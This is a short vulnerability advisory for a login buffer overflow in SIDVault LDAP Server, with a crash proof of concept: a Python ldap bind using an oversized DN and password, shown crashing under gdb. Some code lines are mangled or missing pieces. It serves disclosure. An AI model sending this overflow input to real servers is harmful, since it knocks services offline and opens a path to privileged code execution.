SIDVault LDAP Server Remote Buffer Overflow =========================================== Product Description: SIDVault LDAP Server for Win32 and GNU/Linux SIDVault is a Simple Integration Database, allowing easy management and installations with high performance LDAP v3 server. It supports any number of schemas, easy to add/modify existing schemas, integrated web based user access, and fast browser based administration tools. Supports all relevant RFC protocols LDAP v2, LDAP v3, HTTP, ILS. Vulnerable versions: Win32 2.0e Linux 2.0d Vulnerability Details: The login mechanism is prone to multiple buffer-overflow vulnerabilities because it fails to adequately bounds-check user-supplied input before copying it to an insufficiently sized buffer. Successfully exploiting the issue will allow an attacker to execute arbitrary code with root or SYSTEM-level privileges depending on the operative system target. Failed exploit attempts will result in a denial-of-service condition. Proof of concept: # gdb /usr/local/sidvault/sidvault (...) (gdb) r -run In another terminal: $ cat import ldap l ="localhost") l.simple_bind("dc=" + "A"*4099, "B"*256) $ ./ In the first terminal: Program received signal SIGSEGV, Segmentation fault.
